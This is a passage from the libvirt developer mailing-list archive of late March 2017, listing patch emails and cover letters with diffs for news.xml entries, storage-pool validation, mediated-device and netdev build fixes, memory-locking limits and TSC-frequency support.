Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- Oops, pushed as trivial. We really need a schema for news.xml... docs/news.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/news.xml b/docs/news.xml index 85a1d4d97..17186b954 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -72,7 +72,7 @@ introducing a new host device type in the XML. </description> </change> - <changes> + <change> <summary> qemu: Add support for setting TSC frequency </summary> @@ -80,7 +80,7 @@ Setting TSC frequency is required to enable migration for domains with 'invtsc' CPU feature turned on. </description> - </changes> + </change> </section> <section title="Improvements"> <change> -- 2.12.2

2 1

[libvirt] [PATCH v2 0/7] Memory locking fixes
by Andrea Bolognani 28 Mar '17

28 Mar '17

Changes from [v1]: * exit early from the loop in patch 2; * dropped patch 5/8, as it's no longer needed; * rewrote tests not to generate QEMU command line; * changed documentation slightly. [v1] https://www.redhat.com/archives/libvir-list/2017-March/msg01089.html Andrea Bolognani (7): Revert "qemu: Forbid <memoryBacking><locked> without <memtune><hard_limit>" qemu: Remove qemuDomainRequiresMemLock() qemu: Fix memory locking limit calculation process: Translate "unlimited" correctly tests: Introduce virTestCompareToULL() tests: Introduce QEMU memory locking limit tests docs: Improve documentation related to memory locking docs/formatdomain.html.in | 39 ++++-- src/qemu/qemu_command.c | 4 +- src/qemu/qemu_domain.c | 76 ++++------ src/qemu/qemu_domain.h | 1 - src/util/virprocess.c | 20 ++- tests/Makefile.am | 9 ++ .../qemumemlock-pc-hardlimit+hostdev.xml | 20 +++ .../qemumemlock-pc-hardlimit+locked+hostdev.xml | 23 ++++ .../qemumemlock-pc-hardlimit+locked.xml | 17 +++ tests/qemumemlockdata/qemumemlock-pc-hardlimit.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pc-hostdev.xml | 17 +++ tests/qemumemlockdata/qemumemlock-pc-kvm.xml | 11 ++ .../qemumemlock-pc-locked+hostdev.xml | 20 +++ tests/qemumemlockdata/qemumemlock-pc-locked.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pc-tcg.xml | 11 ++ .../qemumemlock-pseries-hardlimit+hostdev.xml | 20 +++ ...emumemlock-pseries-hardlimit+locked+hostdev.xml | 23 ++++ .../qemumemlock-pseries-hardlimit+locked.xml | 17 +++ .../qemumemlock-pseries-hardlimit.xml | 14 ++ .../qemumemlock-pseries-hostdev.xml | 17 +++ tests/qemumemlockdata/qemumemlock-pseries-kvm.xml | 11 ++ .../qemumemlock-pseries-locked+hostdev.xml | 20 +++ .../qemumemlockdata/qemumemlock-pseries-locked.xml | 14 ++ tests/qemumemlockdata/qemumemlock-pseries-tcg.xml | 11 ++ tests/qemumemlocktest.c | 153 +++++++++++++++++++++ tests/qemuxml2argvdata/qemuxml2argv-mlock-on.xml | 3 - tests/testutils.c | 27 ++++ tests/testutils.h | 2 + 28 files changed, 556 insertions(+), 72 deletions(-) create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit+locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hardlimit.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-kvm.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pc-tcg.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit+locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hardlimit.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-kvm.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-locked+hostdev.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-locked.xml create mode 100644 tests/qemumemlockdata/qemumemlock-pseries-tcg.xml create mode 100644 tests/qemumemlocktest.c -- 2.7.4

2 11

[libvirt] [PATCH] Revert "storage: Better describe logical pool creation/definition parameters"
by Ján Tomko 28 Mar '17

28 Mar '17

This reverts commit ca4515d2639057020c749470f390fe1f5981e91e which broke the functionality of logical storage pools not named after their volume groups. --- src/conf/storage_conf.c | 8 -------- tools/virsh.pod | 7 ------- 2 files changed, 15 deletions(-) diff --git a/src/conf/storage_conf.c b/src/conf/storage_conf.c index 5213503..585ca71 100644 --- a/src/conf/storage_conf.c +++ b/src/conf/storage_conf.c @@ -760,14 +760,6 @@ virStoragePoolDefParseXML(xmlXPathContextPtr ctxt) if (VIR_STRDUP(ret->source.name, ret->name) < 0) goto error; } - if (ret->type == VIR_STORAGE_POOL_LOGICAL && - STRNEQ(ret->name, ret->source.name)) { - virReportError(VIR_ERR_XML_ERROR, - _("for a logical pool, the pool name='%s' " - "must match the pool source name='%s'"), - ret->name, ret->source.name); - goto error; - } } if ((options->flags & VIR_STORAGE_POOL_SOURCE_ADAPTER) && diff --git a/tools/virsh.pod b/tools/virsh.pod index 55b71a9..43124ba 100644 --- a/tools/virsh.pod +++ b/tools/virsh.pod @@ -3639,13 +3639,6 @@ follow-up command to build the pool. The I<--overwrite> and I<--no-overwrite> flags follow the same rules as B<pool-build>. If just I<--build> is provided, then B<pool-build> is called with no flags. -For a "logical" pool only [I<--name>] needs to be provided. The [I<--name>] -must match the Volume Group name for which the pool is being defined or -created. The [I<--source-name>] if provided must match the Volume Group -name. If not provided, one will be generated using the [I<--name>]. If -provided the [I<--target>] is ignored and a target source is generated -using the [I<--source-name>] (or as generated from the [I<--name>]). - =item B<pool-define> I<file> Define an inactive persistent storage pool or modify an existing persistent one -- 2.10.2

3 2

[libvirt] [PATCH] hostdev: Fix build with GCC's static analysis in mdev
by Martin Kletzander 28 Mar '17

28 Mar '17

Similarly to eec3b255d26e7b38bdb0830990569fd91aee661f, fix build with lv_cv_static_analysis=yes. Caused by a4a39d90ab4930750bcbcfccffdf6bb6d310b5d5 --- src/util/virhostdev.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/util/virhostdev.c b/src/util/virhostdev.c index 2c557f5bbc6b..998df5871539 100644 --- a/src/util/virhostdev.c +++ b/src/util/virhostdev.c @@ -2060,8 +2060,8 @@ virHostdevReAttachMediatedDevices(virHostdevManagerPtr mgr, continue; virMediatedDeviceGetUsedBy(tmp, &used_by_drvname, &used_by_domname); - if (STREQ_NULLABLE(drv_name, used_by_drvname) && - STREQ_NULLABLE(dom_name, used_by_domname)) { + if (used_by_drvname && STREQ(drv_name, used_by_drvname) && + used_by_domname && STREQ(dom_name, used_by_domname)) { VIR_DEBUG("Removing %s dom=%s from activeMediatedHostdevs", mdevsrc->uuidstr, dom_name); virMediatedDeviceListDel(mgr->activeMediatedHostdevs, tmp); -- 2.12.1

3 4

[libvirt] [PATCH v2 0/4] storage: Better describe logical pool creation/definition parameters
by John Ferlan 28 Mar '17

28 Mar '17

v1: https://www.redhat.com/archives/libvir-list/2017-March/msg01227.html changes since v1: Split things part - added news article John Ferlan (4): conf: Set defaultFormat if no storage source XML present virsh.pod: Move the positional --print-xml for pool-{define|create}-as storage: Better describe logical pool creation/definition parameters docs: Add news article for logical pool-create-as docs/news.xml | 5 +++++ src/conf/storage_conf.c | 11 +++++++++++ tools/virsh.pod | 15 +++++++++++---- 3 files changed, 27 insertions(+), 4 deletions(-) -- 2.9.3

4 10

[libvirt] [PATCH] storage: Better describe logical pool creation/definition parameters
by John Ferlan 28 Mar '17

28 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1398087 Clean up the virsh man page description for --pool-create-as in order to better describe how the various arguments are used when creating (or defining) a logical pool. Also move the --print-xml to the end of the qualifiers since it's not properly positionally situated for both --pool-create-as and --pool-define-as. Finally modify the storage pool XML parsing algorithm to check for the mismatched "name" and "source-name" as well as a more general if not provided, then set the default source format. Signed-off-by: John Ferlan <jferlan(a)redhat.com> --- src/conf/storage_conf.c | 11 +++++++++++ tools/virsh.pod | 15 +++++++++++---- 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/src/conf/storage_conf.c b/src/conf/storage_conf.c index 6b34cea..6ca4949 100644 --- a/src/conf/storage_conf.c +++ b/src/conf/storage_conf.c @@ -703,6 +703,9 @@ virStoragePoolDefParseXML(xmlXPathContextPtr ctxt) if (virStoragePoolDefParseSource(ctxt, &ret->source, ret->type, source_node) < 0) goto error; + } else { + if (options->formatFromString) + ret->source.format = options->defaultFormat; } ret->name = virXPathString("string(./name)", ctxt); @@ -757,6 +760,14 @@ virStoragePoolDefParseXML(xmlXPathContextPtr ctxt) if (VIR_STRDUP(ret->source.name, ret->name) < 0) goto error; } + if (ret->type == VIR_STORAGE_POOL_LOGICAL && + STRNEQ(ret->name, ret->source.name)) { + virReportError(VIR_ERR_XML_ERROR, + _("for a logical pool, the pool name='%s' " + "must match the pool source name='%s'"), + ret->name, ret->source.name); + goto error; + } } if ((options->flags & VIR_STORAGE_POOL_SOURCE_ADAPTER) && diff --git a/tools/virsh.pod b/tools/virsh.pod index ee79046..a1b4086 100644 --- a/tools/virsh.pod +++ b/tools/virsh.pod @@ -3572,13 +3572,13 @@ follow-up command to build the pool. The I<--overwrite> and I<--no-overwrite> flags follow the same rules as B<pool-build>. If just I<--build> is provided, then B<pool-build> is called with no flags. -=item B<pool-create-as> I<name> I<type> [I<--print-xml>] +=item B<pool-create-as> I<name> I<type> [I<--source-host hostname>] [I<--source-path path>] [I<--source-dev path>] [I<--source-name name>] [I<--target path>] [I<--source-format format>] [I<--auth-type authtype> I<--auth-username username> I<--secret-usage usage>] [[I<--adapter-name name>] | [I<--adapter-wwnn> I<--adapter-wwpn>] [I<--adapter-parent parent>]] -[I<--build>] [[I<--overwrite>] | [I<--no-overwrite>]] +[I<--build>] [[I<--overwrite>] | [I<--no-overwrite>]] [I<--print-xml>] Create and start a pool object I<name> from the raw parameters. If @@ -3628,17 +3628,24 @@ follow-up command to build the pool. The I<--overwrite> and I<--no-overwrite> flags follow the same rules as B<pool-build>. If just I<--build> is provided, then B<pool-build> is called with no flags. +For a "logical" pool only [I<--name>] needs to be provided. The [I<--name>] +must match the Volume Group name for which the pool is being defined or +created. The [I<--source-name>] if provided must match the Volume Group +name. If not provided, one will be generated using the [I<--name>]. If +provided the [I<--target>] is ignored and a target source is generated +using the [I<--source-name>] (or as generated from the [I<--name>]). + =item B<pool-define> I<file> Define an inactive persistent storage pool or modify an existing persistent one from the XML I<file>. -=item B<pool-define-as> I<name> I<type> [I<--print-xml>] +=item B<pool-define-as> I<name> I<type> [I<--source-host hostname>] [I<--source-path path>] [I<--source-dev path>] [I<--source-name name>] [I<--target path>] [I<--source-format format>] [I<--auth-type authtype> I<--auth-username username> I<--secret-usage usage>] [[I<--adapter-name name>] | [I<--adapter-wwnn> I<--adapter-wwpn>] -[I<--adapter-parent parent>]] +[I<--adapter-parent parent>]] [I<--print-xml>] Create, but do not start, a pool object I<name> from the raw parameters. If I<--print-xml> is specified, then print the XML of the pool object -- 2.9.3

3 4

[libvirt] [PATCH] news: Move recent bug fixes into 3.2.0 release
by Jiri Denemark 27 Mar '17

27 Mar '17

Commits 29f7b5ea6a and 5edf9aaf54 pushed them incorrectly at the end of the file in the bug fixes section for libvirt 2.5.0. Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- Pushed as trivial. docs/news.xml | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/docs/news.xml b/docs/news.xml index 494c6489b..85a1d4d97 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -120,7 +120,17 @@ zero out pages for qemu. The timeout is now flexible and computed by libvirt at domain startup. </description> - </change> + </change> + <change> + <summary> + Overwrite (clear) 2 KB instead of just 512 bytes when initializing logical device + </summary> + </change> + <change> + <summary> + Describe the logical backend requirements better for pool-create-as + </summary> + </change> </section> </release> <release version="v3.1.0" date="2017-03-03"> @@ -704,16 +714,6 @@ Fix compilation on macOS </summary> </change> - <change> - <summary> - Overwrite (clear) 2 KB instead of just 512 bytes when initializing logical device - </summary> - </change> - <change> - <summary> - Describe the logical backend requirements better for pool-create-as - </summary> - </change> </section> </release> </libvirt> -- 2.12.0

1 0

[libvirt] [PATCH 0/2] build: Fix build on mingw
by Martin Kletzander 27 Mar '17

27 Mar '17

Fixes pushed under build-breaker rule. Martin Kletzander (2): Use stub for virNetDevGetName on mingw Build vircaps2xmltest and requirements only on Linux configure.ac | 7 ++++--- src/util/virnetdev.c | 10 ++++++++++ tests/Makefile.am | 17 ++++++++++------- tests/vircaps2xmltest.c | 16 ++-------------- 4 files changed, 26 insertions(+), 24 deletions(-) -- 2.12.2

1 2

[libvirt] [PATCH 0/4] Start refactoring migration cookies
by Jiri Denemark 27 Mar '17

27 Mar '17

This series is a first step in refactoring migration cookies. The rest will take some time until it's done, but I figured the part which moves the code is very fragile and I don't really want to keep rebasing it until the refactoring is finished. Jiri Denemark (4): qemu: Move migration cookies to a separate file qemu: Fix formatting in qemu_migration_cookie.c qemu: Typedef migration cookie enums qemu: Free persistent def inside qemuMigrationCookieFree po/POTFILES.in | 1 + src/Makefile.am | 1 + src/qemu/qemu_migration.c | 1425 +------------------------------------- src/qemu/qemu_migration_cookie.c | 1348 ++++++++++++++++++++++++++++++++++++ src/qemu/qemu_migration_cookie.h | 153 ++++ 5 files changed, 1512 insertions(+), 1416 deletions(-) create mode 100644 src/qemu/qemu_migration_cookie.c create mode 100644 src/qemu/qemu_migration_cookie.h -- 2.12.1

2 6

[libvirt] [PATCH] news: Add support for setting TSC frequency
by Jiri Denemark 27 Mar '17

27 Mar '17

Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- docs/news.xml | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/news.xml b/docs/news.xml index a77279948..3f3821a16 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -72,6 +72,15 @@ introducing a new host device type in the XML. </description> </change> + <changes> + <summary> + qemu: Add support for setting TSC frequency + </summary> + <description> + Setting TSC frequency is required to enable migration for domains + with 'invtsc' CPU feature turned on. + </description> + </changes> </section> <section title="Improvements"> <change> -- 2.12.0

2 1

[libvirt] [PATCH 0/4] qemu: Add support for setting TSC frequency to enable migration with invtsc
by Jiri Denemark 27 Mar '17

27 Mar '17

QEMU allows for TSC frequency to be explicitly set to enable migration with invtsc (migration fails if the destination QEMU cannot set the exact same frequency used when starting the domain on the source host). Jiri Denemark (4): conf: Fix XML parser for timer frequency qemu: Add support for setting TSC frequency qemu: Use virCPUCheckFeature in qemuMigrationIsAllowed qemu: Allow migration with invtsc if tsc frequency is set src/conf/domain_conf.c | 2 +- src/qemu/qemu_command.c | 16 ++++++---- src/qemu/qemu_migration.c | 28 +++++++++++------ .../qemuxml2argv-cpu-tsc-frequency.args | 23 ++++++++++++++ .../qemuxml2argv-cpu-tsc-frequency.xml | 35 ++++++++++++++++++++++ tests/qemuxml2argvtest.c | 1 + 6 files changed, 89 insertions(+), 16 deletions(-) create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-cpu-tsc-frequency.args create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-cpu-tsc-frequency.xml -- 2.12.1

2 6

[libvirt] [PATCH v2] virmdev: fix build on non-Linux
by Roman Bogorodskiy 27 Mar '17

27 Mar '17

- Make virMediatedDeviceNew() stub args match its prototype - Fix typo: virRerportError -> virReportError - Move MDEV_SYSFS_DEVICES definition out of the #ifdef __linux__ block so we don't have to stub virMediatedDeviceGetSysfsPath() --- Changes from v1: instead of adding a stub for virMediatedDeviceGetSysfsPath(), just unconditionally define MDEV_SYSFS_DEVICES as it makes things easier for the tests. src/util/virmdev.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/src/util/virmdev.c b/src/util/virmdev.c index e924af3c1..2a1ade739 100644 --- a/src/util/virmdev.c +++ b/src/util/virmdev.c @@ -28,6 +28,8 @@ #define VIR_FROM_THIS VIR_FROM_NONE +#define MDEV_SYSFS_DEVICES "/sys/bus/mdev/devices/" + VIR_LOG_INIT("util.mdev"); struct _virMediatedDevice { @@ -68,7 +70,6 @@ virMediatedOnceInit(void) VIR_ONCE_GLOBAL_INIT(virMediated) #ifdef __linux__ -# define MDEV_SYSFS_DEVICES "/sys/bus/mdev/devices/" static int virMediatedDeviceGetSysfsDeviceAPI(virMediatedDevicePtr dev, @@ -173,12 +174,12 @@ virMediatedDeviceNew(const char *uuidstr, virMediatedDeviceModelType model) #else virMediatedDevicePtr -virMediatedDeviceNew(virPCIDeviceAddressPtr pciaddr ATTRIBUTE_UNUSED, - const char *uuidstr ATTRIBUTE_UNUSED) +virMediatedDeviceNew(const char *uuidstr ATTRIBUTE_UNUSED, + virMediatedDeviceModelType model ATTRIBUTE_UNUSED) { - virRerportError(VIR_ERR_INTERNAL_ERROR, "%s", - _("mediated devices are not supported on non-linux " - "platforms")); + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("mediated devices are not supported on non-linux " + "platforms")); return NULL; } -- 2.11.0

1 1

[libvirt] [PATCH] util: Fix build on FreeBSD
by Jiri Denemark 27 Mar '17

27 Mar '17

Signed-off-by: Jiri Denemark <jdenemar(a)redhat.com> --- Pushed as a trivial build-braker. src/util/virnetdev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/util/virnetdev.c b/src/util/virnetdev.c index 598d1c61a..486fe4cd1 100644 --- a/src/util/virnetdev.c +++ b/src/util/virnetdev.c @@ -316,7 +316,7 @@ virNetDevSetMACInternal(const char *ifname, ret = 0; cleanup: - VIR_DEBUG("SIOCSIFLLADDR %s MAC=%s - %s", ifname, mac + 1), + VIR_DEBUG("SIOCSIFLLADDR %s MAC=%s - %s", ifname, mac + 1, ret < 0 ? "Fail" : "Success"); VIR_FORCE_CLOSE(s); -- 2.12.0

2 3

[libvirt] [PATCH] netdev: fix build on non-Linux
by Roman Bogorodskiy 27 Mar '17

27 Mar '17

Fix some typos in the source code: - Missplaced ")", - virNetDevVLanPtr -> virNetDevVlanPtr --- I'm NOT pushing that under the build breaker rule right now because I also have some other build failures and syntax-checking failing, so I cannot do a complete test build. src/util/virnetdev.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/util/virnetdev.c b/src/util/virnetdev.c index 598d1c61a..47e2b20d5 100644 --- a/src/util/virnetdev.c +++ b/src/util/virnetdev.c @@ -316,7 +316,7 @@ virNetDevSetMACInternal(const char *ifname, ret = 0; cleanup: - VIR_DEBUG("SIOCSIFLLADDR %s MAC=%s - %s", ifname, mac + 1), + VIR_DEBUG("SIOCSIFLLADDR %s MAC=%s - %s", ifname, mac + 1, ret < 0 ? "Fail" : "Success"); VIR_FORCE_CLOSE(s); @@ -2336,7 +2336,7 @@ virNetDevReadNetConfig(const char *linkdev ATTRIBUTE_UNUSED, int vf ATTRIBUTE_UNUSED, const char *stateDir ATTRIBUTE_UNUSED, virMacAddrPtr *adminMAC ATTRIBUTE_UNUSED, - virNetDevVLanPtr *vlan ATTRIBUTE_UNUSED, + virNetDevVlanPtr *vlan ATTRIBUTE_UNUSED, virMacAddrPtr *MAC ATTRIBUTE_UNUSED) { virReportSystemError(ENOSYS, "%s", -- 2.11.0

3 3

[libvirt] [PATCH] news: Update after recent commits
by Peter Krempa 27 Mar '17

27 Mar '17

Mention the hyperv notifier and the new API to set block thresholds. --- docs/news.xml | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/docs/news.xml b/docs/news.xml index 814bd93fd..2dbd2335d 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -70,6 +70,20 @@ introducing a new host device type in the XML. </description> </change> + <change> + <summary> + Add support for block device threshold event + </summary> + <description> + When using thin provisioning, management tools need to resize the + disk in certain cases. To avoid having them to poll disk usage + this version introduces an event which will be fired when a given + offset of the storage is written by the hypervisor. Together with the + API it allows registering thresholds for given storage backing + volumes and this event will then notify management if the threshold + is exceeded. Currently only the qemu driver supports this. + </description> + </change> </section> <section title="Improvements"> <change> @@ -94,6 +108,17 @@ applications running on the platform. </description> </change> + <change> + <summary> + Write hyperv crash information into vm log + </summary> + <description> + qemu's implementation of the hyperv panic notifier now reports + information about the crash from the guest os. Libvirt starting from + this version logs the information to the vm log file for possible + debugging. + </description> + </change> </section> <section title="Bug fixes"> <change> -- 2.12.1

2 1

[libvirt] [PATCH 0/2] More simple fixes.
by John Ferlan 27 Mar '17

27 Mar '17

One noted after push w/r/t change in news.xml and the other found after I rebased to current head from recent commit. John Ferlan (2): news: Add <change> lost in merge util: Remove NONNUL from virHostdevReAttachMediatedDevices docs/news.xml | 2 ++ src/util/virhostdev.h | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) -- 2.9.3

2 4

[libvirt] [PATCH] virmdev: fix build on non-Linux
by Roman Bogorodskiy 27 Mar '17

27 Mar '17

- Make virMediatedDeviceNew() stub args match its prototype - Fix typo: virRerportError -> virReportError - Move virMediatedDeviceGetSysfsPath() into #ifdef __linux__ block as it uses MDEV_SYSFS_DEVICES, and a stub for it --- I'm not pushing this one too, until I get a completely clean build. src/util/virmdev.c | 39 ++++++++++++++++++++++++--------------- 1 file changed, 24 insertions(+), 15 deletions(-) diff --git a/src/util/virmdev.c b/src/util/virmdev.c index e924af3c1..e49ea18e5 100644 --- a/src/util/virmdev.c +++ b/src/util/virmdev.c @@ -170,15 +170,34 @@ virMediatedDeviceNew(const char *uuidstr, virMediatedDeviceModelType model) return ret; } + +char * +virMediatedDeviceGetSysfsPath(const char *uuidstr) +{ + char *ret = NULL; + + ignore_value(virAsprintf(&ret, MDEV_SYSFS_DEVICES "%s", uuidstr)); + return ret; +} + #else virMediatedDevicePtr -virMediatedDeviceNew(virPCIDeviceAddressPtr pciaddr ATTRIBUTE_UNUSED, - const char *uuidstr ATTRIBUTE_UNUSED) +virMediatedDeviceNew(const char *uuidstr ATTRIBUTE_UNUSED, + virMediatedDeviceModelType model ATTRIBUTE_UNUSED) { - virRerportError(VIR_ERR_INTERNAL_ERROR, "%s", - _("mediated devices are not supported on non-linux " - "platforms")); + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("mediated devices are not supported on non-linux " + "platforms")); + return NULL; +} + +char * +virMediatedDeviceGetSysfsPath(const char *uuidstr ATTRIBUTE_UNUSED) +{ + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("mediated devices are not supported on non-linux " + "platforms")); return NULL; } @@ -423,16 +442,6 @@ virMediatedDeviceIsUsed(virMediatedDevicePtr dev, } -char * -virMediatedDeviceGetSysfsPath(const char *uuidstr) -{ - char *ret = NULL; - - ignore_value(virAsprintf(&ret, MDEV_SYSFS_DEVICES "%s", uuidstr)); - return ret; -} - - int virMediatedDeviceListMarkDevices(virMediatedDeviceListPtr dst, virMediatedDeviceListPtr src, -- 2.11.0

1 0

[libvirt] [PATCH] network: better validation of devices in hostdev network pool
by Laine Stump 27 Mar '17

27 Mar '17

This adds a few validations to the devices listed for a hostdev network: * devices must be listed by PCI address, not by netdev name * listing a device by PCI address is valid only for hostdev networks, not for other types of network (e.g. macvtap passthrough). * each device in a hostdev pool must be an SR-IOV VF Resolves: https://bugzilla.redhat.com/1004676 --- src/network/bridge_driver.c | 47 ++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 44 insertions(+), 3 deletions(-) diff --git a/src/network/bridge_driver.c b/src/network/bridge_driver.c index 3a7a249..3270dc5 100644 --- a/src/network/bridge_driver.c +++ b/src/network/bridge_driver.c @@ -3224,14 +3224,55 @@ networkValidate(virNetworkDriverStatePtr driver, * the type of each. */ for (i = 0; i < def->forward.nifs; i++) { - switch ((virNetworkForwardHostdevDeviceType) - def->forward.ifs[i].type) { + virNetworkForwardIfDefPtr iface = &def->forward.ifs[i]; + char *sysfs_path = NULL; + + switch ((virNetworkForwardHostdevDeviceType) iface->type) { case VIR_NETWORK_FORWARD_HOSTDEV_DEVICE_NETDEV: usesInterface = true; + + if (def->forward.type == VIR_NETWORK_FORWARD_HOSTDEV) { + virReportError(VIR_ERR_CONFIG_UNSUPPORTED, + _("hostdev network '%s' lists '%s' " + "in the device pool, but hostdev " + "networks require all devices to " + "be listed by PCI address, not " + "network device name"), + def->name, iface->device.dev); + return -1; + } break; - case VIR_NETWORK_FORWARD_HOSTDEV_DEVICE_PCI: + + case VIR_NETWORK_FORWARD_HOSTDEV_DEVICE_PCI: { usesAddress = true; + + if (def->forward.type != VIR_NETWORK_FORWARD_HOSTDEV) { + virReportError(VIR_ERR_CONFIG_UNSUPPORTED, + _("network '%s' has forward mode '%s' " + " but lists a device by PCI address " + "in the device pool. This is only " + "supported for networks with forward " + "mode 'hostdev'"), + def->name, + virNetworkForwardTypeToString(def->forward.type)); + return -1; + } + + if (virPCIDeviceAddressGetSysfsFile(&iface->device.pci, &sysfs_path) < 0) + return -1; + + if (!virPCIIsVirtualFunction(sysfs_path)) { + virReportError(VIR_ERR_CONFIG_UNSUPPORTED, + _("device '%s' in network '%s' is not " + "an SR-IOV Virtual Function"), + sysfs_path, def->name); + VIR_FREE(sysfs_path); + return -1; + } + VIR_FREE(sysfs_path); break; + } + case VIR_NETWORK_FORWARD_HOSTDEV_DEVICE_NONE: case VIR_NETWORK_FORWARD_HOSTDEV_DEVICE_LAST: break; -- 2.9.3

2 1

[libvirt] [PATCH 0/3] Build and other fixes
by Martin Kletzander 27 Mar '17

27 Mar '17

So I broke the build on non-Linux. Sorry. But I did that *because* I was considering other platforms in the code. Also there was a bad dereference somewhere. So because it's three patches, I'm rather sending it for review than just pushing it. Martin Kletzander (3): tests: Properly dereference cpus pointer in virnumamock.c virhostcpu: Expose virHostCPUGetOnline on non-Linux virhostcpu: Make only defined symbols available src/util/virhostcpu.c | 35 +++++++++++++++++------------------ src/util/virhostcpu.h | 5 ++++- tests/virnumamock.c | 2 +- 3 files changed, 22 insertions(+), 20 deletions(-) -- 2.12.1

2 8

[libvirt] [PATCH] logical: Need to overwrite/clear more than just first 512 bytes
by John Ferlan 27 Mar '17

27 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1430679 As it turns out some file headers (e.g. ext4) may be larger/longer than the 512 bytes of zeros being written prior to a pvcreate, so let's write out 2048 bytes similar to how the pvcreate sources would peek at the first 4 sectors of the device. Make sure there is at enough bytes on the device to clear before doing doing the clear - just to be sure. Signed-off-by: John Ferlan <jferlan(a)redhat.com> --- src/storage/storage_backend_logical.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/src/storage/storage_backend_logical.c b/src/storage/storage_backend_logical.c index 29d63b1..9ca6fd4 100644 --- a/src/storage/storage_backend_logical.c +++ b/src/storage/storage_backend_logical.c @@ -93,7 +93,8 @@ static int virStorageBackendLogicalInitializeDevice(const char *path) { int fd = -1; - char zeros[PV_BLANK_SECTOR_SIZE] = {0}; + char zeros[4 * PV_BLANK_SECTOR_SIZE] = {0}; + off_t size; int ret = -1; virCommandPtr pvcmd = NULL; @@ -107,6 +108,25 @@ virStorageBackendLogicalInitializeDevice(const char *path) return -1; } + if ((size = lseek(fd, 0, SEEK_END)) == (off_t)-1) { + virReportSystemError(errno, + _("failed to seek to end of %s"), path); + goto cleanup; + } + + if (size < 4 * PV_BLANK_SECTOR_SIZE) { + virReportError(VIR_ERR_OPERATION_UNSUPPORTED, + _("cannot initialize '%s' detected size='%lu' less " + "than minimum required='%d"), + path, size, 4 * PV_BLANK_SECTOR_SIZE); + goto cleanup; + } + if ((size = lseek(fd, 0, SEEK_SET)) == (off_t)-1) { + virReportSystemError(errno, + _("failed to seek to start of %s"), path); + goto cleanup; + } + if (safewrite(fd, zeros, sizeof(zeros)) < 0) { virReportSystemError(errno, _("cannot clear device header of '%s'"), path); -- 2.9.3

2 1

[libvirt] [PATCH 0/2] Fix syntax check
by Jiri Denemark 27 Mar '17

27 Mar '17

Jiri Denemark (2): build: Fix sc_prohibit_exit_in_tests syntax check build: Fix syntax check in VPATH cfg.mk | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) -- 2.12.2

2 3

[libvirt] [PATCH 0/2] Reject negative storage size
by Ján Tomko 27 Mar '17

27 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1436119 Ján Tomko (2): storage: reject negative capacity virsh: reject more negative numbers src/conf/storage_conf.c | 2 +- tools/virsh-domain.c | 22 +++++++++++----------- tools/virsh-host.c | 6 +++--- tools/virsh-volume.c | 2 +- 4 files changed, 16 insertions(+), 16 deletions(-) -- 2.10.2

2 3

[libvirt] [PATCH] qemu: command: align disk serial check to schema
by Nikolay Shirokovskiy 27 Mar '17

27 Mar '17

